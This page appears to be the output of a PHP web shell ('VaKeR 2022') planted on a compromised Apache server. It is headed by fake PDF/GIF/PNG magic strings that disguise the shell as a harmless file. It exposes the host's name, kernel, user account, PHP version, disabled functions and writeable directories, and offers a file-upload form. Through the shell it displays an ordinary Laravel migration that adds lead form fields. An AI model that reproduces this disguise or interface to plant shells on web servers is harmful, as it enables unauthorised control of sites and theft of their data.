%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/database/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/database/migrations/2023_03_17_045842_lead_custom_field.php
<?php

use App\Models\Company;
use App\Models\LeadCustomForm;
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

return new class extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */

    public function up()
    {
        $companies = Company::get();

        foreach ($companies as $company) {
            $LeadCustomProductForm = LeadCustomForm::where('company_id', $company->id)->where('field_name', 'product')->first();

            if(is_null($LeadCustomProductForm)){
                LeadCustomForm::create([
                    'field_display_name' => 'Product',
                    'field_name' => 'product',
                    'field_order' => 8,
                    'field_type' => 'select',
                    'company_id' => $company->id,
                ]);
            }

            $LeadCustomSourceForm = LeadCustomForm::where('company_id', $company->id)->where('field_name', 'source')->first();

            if(is_null($LeadCustomSourceForm)){
                LeadCustomForm::create([
                    'field_display_name' => 'Source',
                    'field_name' => 'source',
                    'field_order' => 9,
                    'field_type' => 'select',
                    'company_id' => $company->id,
                ]);
            }
        }
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */

    public function down()
    {
        //
    }

};

VaKeR 2022